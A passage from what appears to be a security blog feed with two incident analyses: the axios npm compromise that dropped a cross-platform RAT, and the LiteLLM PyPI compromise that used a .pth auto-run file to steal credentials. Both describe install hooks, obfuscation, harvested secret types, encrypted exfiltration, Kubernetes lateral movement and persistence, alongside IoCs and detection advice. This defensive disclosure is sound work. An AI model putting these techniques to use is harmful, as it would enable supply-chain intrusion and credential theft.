data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1f469fef-3d32-4aba-954d-b79baf3bbc1e_2470x1536.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1536,&quot;width&quot;:2470,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:6091413,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/192712618?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2846482b-db68-4b5e-acbb-8a91d0024d90_2730x1536.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!1z-r!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f469fef-3d32-4aba-954d-b79baf3bbc1e_2470x1536.png 424w, https://substackcdn.com/image/fetch/$s_!1z-r!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f469fef-3d32-4aba-954d-b79baf3bbc1e_2470x1536.png 848w, https://substackcdn.com/image/fetch/$s_!1z-r!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f469fef-3d32-4aba-954d-b79baf3bbc1e_2470x1536.png 1272w, https://substackcdn.com/image/fetch/$s_!1z-r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1f469fef-3d32-4aba-954d-b79baf3bbc1e_2470x1536.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>On March 31, 2026 (or late March 30th, depending where you are in the world), one of npm&#8217;s most popular packages - <a href="https://github.com/axios/axios">axios</a>, with over 40 million weekly downloads - was compromised in a supply chain attack that deployed a cross-platform RAT to developer machines. The attack window was roughly 3 hours, but that was more than enough.</p><p>Here&#8217;s what happened, what it does, and why detecting it is harder than it looks.</p><h2><strong>What Happened</strong></h2><p>The attacker compromised the npm (and GitHub) account of axios maintainer <code>jasonsaayman</code>. The account email was changed to <code>ifstap@proton.me</code>, and two malicious versions were published directly via the npm CLI:</p><ul><li><p><code>axios@1.14.1</code> at 00:21 UTC</p></li><li><p><code>axios@0.30.4</code> at 01:00 UTC</p></li></ul><p>Both versions added a new dependency: <code>plain-crypto-js@4.2.1</code> - a package created the day before by a second attacker-controlled account (<code>nrwise</code>, email <code>nrwise@proton.me</code>). The name is clearly designed to pass a quick glance as the legitimate <code>crypto-js</code>.</p><p><strong>A key forensic signal</strong>: legitimate axios releases are published via GitHub Actions with OIDC provenance signing. The malicious versions were published via npm CLI with no provenance attestation. This discrepancy is what tipped off the community.</p><p>Collaborator <code>DigitalBrainJS</code> attempted to respond but lacked admin privileges to revoke the compromised account. The attacker used their admin access to delete the initial compromise report issue. npm administration finally removed the malicious versions and revoked all tokens at approximately 03:40 UTC.</p><h2><strong>How the Malware Works</strong></h2><p>The attack chain is straightforward but well-executed:</p><ol><li><p><code>npm install</code> pulls <code>plain-crypto-js@4.2.1</code> as a transitive dependency</p></li><li><p>A <code>postinstall</code> hook runs <code>setup.js</code> automatically</p></li><li><p><code>setup.js</code> deobfuscates its payload (reversed Base64 + double XOR with key <code>OrDeR_7077</code> and constant <code>333</code>), detects the OS, and downloads a platform-specific RAT from <code>sfrclak[.]com:8000</code></p></li><li><p>The RAT is deployed and begins beaconing. Total time from <code>npm install</code> to full compromise: roughly 15 seconds</p></li><li><p><code>setup.js</code> self-deletes and replaces its <code>package.json</code> with a clean copy (<code>package.md</code> renamed), covering its tracks</p></li></ol><h3><strong>Platform-Specific Payloads</strong></h3><p><strong>macOS:</strong> A Mach-O universal binary (x86_64 + arm64) dropped to <code>/Library/Caches/com.apple.act.mond</code> - named to look like an Activity Monitor daemon. Deployed via AppleScript.</p><p><strong>Windows:</strong> A PowerShell RAT at <code>%PROGRAMDATA%\wt.exe</code> with registry persistence (<code>HKCU:\...\Run\MicrosoftUpdate</code>) via a hidden <code>system.bat</code> file. Supports reflective .NET DLL injection - loading assemblies directly into memory without touching disk.</p><p><strong>Linux:</strong> A Python RAT at <code>/tmp/ld.py</code>, executed via <code>nohup python3</code>. Performs hardware fingerprinting by reading <code>/sys/class/dmi/id/</code> entries.</p><h3><strong>C2 Protocol</strong></h3><p>All three RAT variants share a common C2 protocol over plain HTTP (not HTTPS):</p><ul><li><p><strong>Server:</strong> <code>sfrclak[.]com</code> (<code>142.11.206.73:8000</code>), running Express.js</p></li><li><p><strong>Beacon interval:</strong> 60 seconds</p></li><li><p><strong>User-Agent:</strong> <code>mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)</code></p></li><li><p><strong>Platform routing:</strong> <code>/product0</code> (macOS), <code>/product1</code> (Windows), <code>/product2</code> (Linux)</p></li></ul><p>On first execution, the RAT sends a <code>FirstInfo</code> beacon that enumerates the victim&#8217;s file system - specifically <code>~/Documents</code>, <code>~/Desktop</code>, <code>~/.config</code>, <code>~/.ssh</code>, and <code>~/.aws</code> on Linux/macOS, and <code>Documents</code>, <code>Desktop</code>, <code>OneDrive</code>, and <code>AppData\Roaming</code> on Windows. Every subsequent beacon includes a full process list.</p><p>The RAT supports four commands: <code>kill</code> (self-terminate), <code>peinject</code> (execute binaries/inject DLLs), <code>runscript</code> (arbitrary code execution), and <code>rundir</code> (enumerate targeted directories).</p><h2><strong>Anti-Forensics</strong></h2><p>This is where the attack gets interesting. The malware actively cleans up after itself:</p><ul><li><p><code>setup.js</code> deletes itself after execution</p></li><li><p>The malicious <code>package.json</code> is replaced with a pre-staged clean copy</p></li><li><p>Windows dropper scripts (<code>6202033.vbs</code>, <code>6202033.ps1</code>) self-delete</p></li><li><p>The use of plain HTTP avoids SSL inspection and certificate pinning issues</p></li></ul><p>The result: <strong>a compromised </strong><code>node_modules/plain-crypto-js</code><strong> directory may appear completely clean after the payload has already executed.</strong> Lockfile analysis is more reliable than filesystem inspection for determining whether a machine was exposed.</p><h2><strong>Why This Payload Is Hard to Detect on Disk</strong></h2><p>We&#8217;ve been actively helping customers assess exposure to this attack, and one thing became clear quickly: <strong>filesystem-based detection alone is not reliable for this payload.</strong></p><p>Here&#8217;s why. The malware&#8217;s anti-forensic cleanup doesn&#8217;t just remove the dropper - it&#8217;s designed to make a compromised environment look indistinguishable from a clean one:</p><ul><li><p><code>setup.js</code> (the dropper) is deleted immediately after execution</p></li><li><p>The malicious <code>package.json</code> inside <code>plain-crypto-js</code> is replaced with a pre-staged clean copy</p></li><li><p>On Windows, the VBScript and PowerShell staging scripts self-delete</p></li><li><p>The <code>plain-crypto-js</code> directory in <code>node_modules</code> survives, but its contents appear clean</p></li><li><p>If the infected project has since been rebuilt (<code>npm install</code>, <code>rm -rf node_modules</code>, or a CI pipeline refresh), even the directory is gone</p></li></ul><p>In practice, this means a machine that was fully compromised - RAT deployed, C2 active, credentials potentially exfiltrated - can show a completely clean filesystem by the time someone runs a scan. We&#8217;ve observed this firsthand in customer environments where we had confirmed C2 communication but no filesystem artifacts remained.</p><h3><strong>What Actually Works for Detection</strong></h3><p>From our experience, <strong>Network-based detection is the most reliable approach.</strong> The RAT beacons every 60 seconds over plain HTTP to <code>sfrclak[.]com:8000</code> with a distinctive user-agent string (<code>mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)</code>). This traffic is highly anomalous and detectable via:</p><ul><li><p><strong>DNS monitoring</strong> - any resolution of <code>sfrclak[.]com</code> is a definitive indicator. There is no legitimate reason for this domain to appear in DNS logs.</p></li><li><p><strong>Proxy/firewall logs</strong> - outbound HTTP to <code>142.11.206.73:8000</code> or any traffic with the IE8 user-agent string from a modern development machine.</p></li><li><p><strong>Network flow data</strong> - periodic 60-second beacon patterns to port 8000.</p></li></ul><p><strong>Persistent filesystem artifacts are the next best option</strong>, but only if the malware hasn&#8217;t been cleaned up and the machine hasn&#8217;t been rebooted:</p><ul><li><p><strong>macOS:</strong> <code>/Library/Caches/com.apple.act.mond</code> - this persists across reboots and is the most durable file artifact.</p></li><li><p><strong>Windows:</strong> Registry key <code>HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftUpdate</code> and <code>%PROGRAMDATA%\system.bat</code> - the persistence mechanism survives reboots even if <code>wt.exe</code> is removed.</p></li><li><p><strong>Linux:</strong> <code>/tmp/ld.py</code> - cleared on reboot, so only useful if the machine has been running continuously since infection.</p></li></ul><p><strong>Package-level indicators are useful but have caveats:</strong></p><ul><li><p>The <code>plain-crypto-js</code> directory in <code>node_modules</code> is the single strongest filesystem IoC - this package has zero legitimate use. But it&#8217;s gone if the project was rebuilt.</p></li><li><p>Lockfile references to <code>plain-crypto-js</code> are definitive. Version-only matches on <code>axios@1.14.1</code> in lockfiles produce false positives - many projects legitimately reference this version number.</p></li></ul><p>The key takeaway: if you&#8217;re relying solely on endpoint scans to determine exposure, you may be getting false negatives. DNS and network logs are the ground truth for this attack.</p><h2><strong>The Bigger Picture</strong></h2><p>This attack is notable for a few reasons:</p><p><strong>Scope.</strong> Axios gets 40M+ weekly downloads. Even a 3-hour window is significant.</p><p><strong>Tradecraft.</strong> Multi-platform native payloads, reflective DLL injection, anti-forensic cleanup, and a staged dependency (publishing a clean <code>plain-crypto-js@4.2.0</code> 18 hours before the malicious <code>4.2.1</code> to bypass new-package heuristics) - this wasn&#8217;t a script kiddie.</p><p><strong>The OIDC gap.</strong> Axios had OIDC-based trusted publishing via GitHub Actions - the right setup. But npm still allowed direct CLI publishes from the maintainer&#8217;s stolen credentials. The provenance mechanism detected the anomaly after the fact, but didn&#8217;t prevent publication. This is a systemic gap in npm&#8217;s security model that affects any package relying on OIDC publishing as a security control rather than an enforcement mechanism.</p><p><strong>The response bottleneck.</strong> A collaborator identified the compromise quickly but couldn&#8217;t revoke the attacker&#8217;s access without admin privileges. The attacker used those same admin privileges to suppress the initial report. This highlights the need for multi-party controls on critical package operations.</p><p>Supply chain attacks are no longer theoretical edge cases - they&#8217;re a recurring operational reality. If your organization runs <code>npm install</code> anywhere, you need monitoring for unexpected dependency changes, egress controls on build systems, and a response plan that doesn&#8217;t start with &#8220;let me Google what to do.&#8221;</p><div><hr></div><h2>IoCs</h2><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!1Oo9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F337133ee-70af-4f30-971b-7db25eb8a8b7_1440x1083.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!1Oo9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F337133ee-70af-4f30-971b-7db25eb8a8b7_1440x1083.png 424w, https://substackcdn.com/image/fetch/$s_!1Oo9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F337133ee-70af-4f30-971b-7db25eb8a8b7_1440x1083.png 848w, https://substackcdn.com/image/fetch/$s_!1Oo9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F337133ee-70af-4f30-971b-7db25eb8a8b7_1440x1083.png 1272w, https://substackcdn.com/image/fetch/$s_!1Oo9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F337133ee-70af-4f30-971b-7db25eb8a8b7_1440x1083.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!1Oo9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F337133ee-70af-4f30-971b-7db25eb8a8b7_1440x1083.png" width="1440" height="1083" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/337133ee-70af-4f30-971b-7db25eb8a8b7_1440x1083.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1083,&quot;width&quot;:1440,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:209895,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/192712618?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F47c5d49c-3800-4aa6-9792-3028c007d844_1440x1180.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!1Oo9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F337133ee-70af-4f30-971b-7db25eb8a8b7_1440x1083.png 424w, https://substackcdn.com/image/fetch/$s_!1Oo9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F337133ee-70af-4f30-971b-7db25eb8a8b7_1440x1083.png 848w, https://substackcdn.com/image/fetch/$s_!1Oo9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F337133ee-70af-4f30-971b-7db25eb8a8b7_1440x1083.png 1272w, https://substackcdn.com/image/fetch/$s_!1Oo9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F337133ee-70af-4f30-971b-7db25eb8a8b7_1440x1083.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2><strong>References &amp; Further Reading</strong></h2><ul><li><p><a href="https://github.com/axios/axios/issues/10604">GitHub Advisory - axios/axios#10604</a> - Original compromise report and community discussion</p></li><li><p><a href="https://gist.github.com/N3mes1s/0c0fc7a0c23cdb5e1c8f66b208053ed6">Github Gist</a> by <strong><a href="https://x.com/N3mes1s">Giuseppe N</a>3</strong><code>mes1s - </code>Deep Analysis of the payload based on Reverse Engineering all 5 payloads downloaded from VT, in an isolated VM. Includes Yara, Sigma, and Suricata detection rules.</p></li><li><p><a href="https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan">StepSecurity: Axios Compromised on npm</a> - Initial disclosure and timeline</p></li><li><p><a href="https://www.aikido.dev/blog/axios-npm-compromised-maintainer-hijacked-rat">Aikido: Axios npm Compromised - Maintainer Hijacked</a> - Account takeover analysis</p></li><li><p><a href="https://socket.dev/blog/axios-npm-package-compromised">Socket: Axios npm Package Compromised</a> - Package analysis and related malicious packages</p></li><li><p><a href="https://opensourcemalware.com/blog/axios-compromised">OpenSourceMalware: Full Technical Analysis</a> - Deep dive into RAT internals, C2 protocol, and platform-specific payloads</p></li></ul>]]></content:encoded></item><item><title><![CDATA[Analyzing the Supply Chain Attack on LiteLLM: TeamPCP's Expanding Supply Chain Campaign]]></title><description><![CDATA[litellm, with nearly 500 million downloads, was silently turned into a credential-stealing trojan on PyPI, likely as a direct consequence of the recent Trivy compromise]]></description><link>https://blog.pluto.security/p/analyzing-the-supply-chain-attack</link><guid isPermaLink="false">https://blog.pluto.security/p/analyzing-the-supply-chain-attack</guid><dc:creator><![CDATA[Yotam Perkal]]></dc:creator><pubDate>Tue, 24 Mar 2026 17:05:13 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!HZzJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2bd852f8-506e-42f4-bdd0-8b776d4a6040_1920x1080.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!HZzJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2bd852f8-506e-42f4-bdd0-8b776d4a6040_1920x1080.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!HZzJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2bd852f8-506e-42f4-bdd0-8b776d4a6040_1920x1080.png 424w, https://substackcdn.com/image/fetch/$s_!HZzJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2bd852f8-506e-42f4-bdd0-8b776d4a6040_1920x1080.png 848w, https://substackcdn.com/image/fetch/$s_!HZzJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2bd852f8-506e-42f4-bdd0-8b776d4a6040_1920x1080.png 1272w, https://substackcdn.com/image/fetch/$s_!HZzJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2bd852f8-506e-42f4-bdd0-8b776d4a6040_1920x1080.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!HZzJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2bd852f8-506e-42f4-bdd0-8b776d4a6040_1920x1080.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2bd852f8-506e-42f4-bdd0-8b776d4a6040_1920x1080.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:3030262,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.pluto.security/i/191990649?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2bd852f8-506e-42f4-bdd0-8b776d4a6040_1920x1080.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!HZzJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2bd852f8-506e-42f4-bdd0-8b776d4a6040_1920x1080.png 424w, https://substackcdn.com/image/fetch/$s_!HZzJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2bd852f8-506e-42f4-bdd0-8b776d4a6040_1920x1080.png 848w, https://substackcdn.com/image/fetch/$s_!HZzJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2bd852f8-506e-42f4-bdd0-8b776d4a6040_1920x1080.png 1272w, https://substackcdn.com/image/fetch/$s_!HZzJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2bd852f8-506e-42f4-bdd0-8b776d4a6040_1920x1080.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>TL;DR</h2><p>LiteLLM versions <strong>1.82.7</strong> and <strong>1.82.8</strong> on PyPI were compromised with a credential-stealing payload - likely by <strong>TeamPCP</strong> using secrets stolen via the recent Trivy attack. The v1.82.8 payload runs on every Python startup, no import needed. If you use <strong>litellm</strong>, <a href="https://gist.github.com/yotampe-pluto/484842855b08b035414969ad1bb337e9">check whether you&#8217;re affected</a>, and rotate all credentials on any impacted system. </p><p>Full analysis below.</p><div><hr></div><h3>What&#8217;s LiteLLM?</h3><p>If you work with large language models, there&#8217;s a good chance you&#8217;ve used - or are running - <a href="https://github.com/BerriAI/litellm">litellm</a>. It is one of the most popular AI gateway projects, with over 40,000 GitHub stars, 483 million PyPI downloads, and adoption by companies including Stripe, Netflix, and Google ADK. As one of the most widely used AI infrastructure packages in the Python ecosystem, it lets developers call over 100 LLM APIs through a single unified interface - write your code once, swap providers with a config change.</p><h2><strong>How the LiteLLM payload works</strong></h2><p>The two affected versions use different delivery mechanisms:</p><ul><li><p><strong>v1.82.8</strong> contains a malicious <code>.pth</code> file (<code>litellm_init.pth</code>) that executes automatically on Python startup</p></li><li><p><strong>v1.82.7</strong> embeds the payload directly in <code>proxy/proxy_server.py</code>, which executes when the litellm proxy is used</p></li></ul><h3><strong>The v1.82.8 trigger: a </strong><code>.pth</code><strong> file</strong></h3><p>The more dangerous of the two is v1.82.8. It uses a file called <code>litellm_init.pth</code> (34,628 bytes) to achieve automatic execution.</p><p>Python has a little-known feature: any file ending in <code>.pth</code> that&#8217;s placed in a <code>site-packages</code> directory gets executed automatically when the Python interpreter starts up. Not when you import the package. Not when you call a function. Every single time Python runs - including scripts, notebooks, CI jobs, and background services.</p><p>This means the payload activates even if your code doesn&#8217;t use litellm at all. If the package is installed in your environment, you&#8217;re affected.</p><h3><strong>Stage 1: Harvesting everything</strong></h3><p>Once triggered, the payload collects sensitive data from the host system:</p><ul><li><p><strong>SSH keys and configs</strong> - private keys, authorized keys, known hosts</p></li><li><p><strong>Cloud credentials</strong> - AWS, GCP, and Azure credential files, plus IMDS token harvesting for cloud-hosted environments</p></li><li><p><strong>Kubernetes secrets</strong> - kubeconfig files, admin configs, service account tokens, and cluster secrets across all namespaces</p></li><li><p><strong>Environment variables</strong> - every API key, database password, and secret token set in the environment</p></li><li><p><strong>Git credentials</strong> - <code>.gitconfig</code>, <code>.git-credentials</code></p></li><li><p><strong>Docker configs</strong> - registry authentication tokens</p></li><li><p><strong>Database credentials</strong> - PostgreSQL, MySQL, Redis, LDAP config files</p></li><li><p><strong>Shell history</strong> - bash, zsh, MySQL, PostgreSQL, and Redis command history</p></li><li><p><strong>CI/CD secrets</strong> - Terraform variables, GitLab CI, Travis, Jenkins, and Drone configs</p></li><li><p><strong>Cryptocurrency wallets</strong> - Bitcoin, Ethereum, Solana, Monero, and others</p></li><li><p><strong>SSL/TLS private keys</strong> - from <code>/etc/ssl/private/</code> and Let&#8217;s Encrypt directories</p></li></ul><h3><strong>Stage 2: Encrypted exfiltration</strong></h3><p>The collected data isn&#8217;t sent in the clear. The payload generates a random AES-256 session key, encrypts all harvested data, then encrypts the session key itself using a hardcoded 4096-bit RSA public key. The encrypted bundle is sent via HTTPS POST to <code>models.litellm.cloud</code> - a domain designed to look like legitimate litellm infrastructure (the real domain is <code>litellm.ai</code>).</p><p>This means even if you captured the network traffic, you couldn&#8217;t read what was sent without the attacker&#8217;s private key.</p><h3><strong>Stage 3: Lateral movement in Kubernetes</strong></h3><p>For environments running Kubernetes, the payload goes further. It reads all cluster secrets across all namespaces and attempts to create a privileged <code>alpine:latest</code> pod on every node in the cluster - essentially trying to gain root-level access to every machine in your infrastructure.</p><h3><strong>Persistence</strong></h3><p>The malware installs itself to survive beyond the initial execution:</p><ul><li><p><code>~/.config/sysmon/sysmon.py</code> - a local backdoor disguised as a system monitoring tool</p></li><li><p><code>~/.config/systemd/user/sysmon.service</code> - a systemd service to ensure the backdoor restarts automatically</p></li><li><p><code>node-setup-*</code> pods in the <code>kube-system</code> namespace - blending in with legitimate Kubernetes system pods</p></li></ul><p>Additional details are available o<em>n <a href="https://github.com/BerriAI/litellm/issues/24512">GitHub Issue #24512</a>, where the community is tracking the issue. Note that issue has been flooded with what seems to be dozens of bot-generated comments - generic responses like &#8220;Thanks, that helped!&#8221; and &#8220;Worked like a charm, much appreciated&#8221; posted by different accounts within seconds of each other:</em></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!U19n!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd8005c31-1f3c-4411-9531-23729fd9df71_1750x1698.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 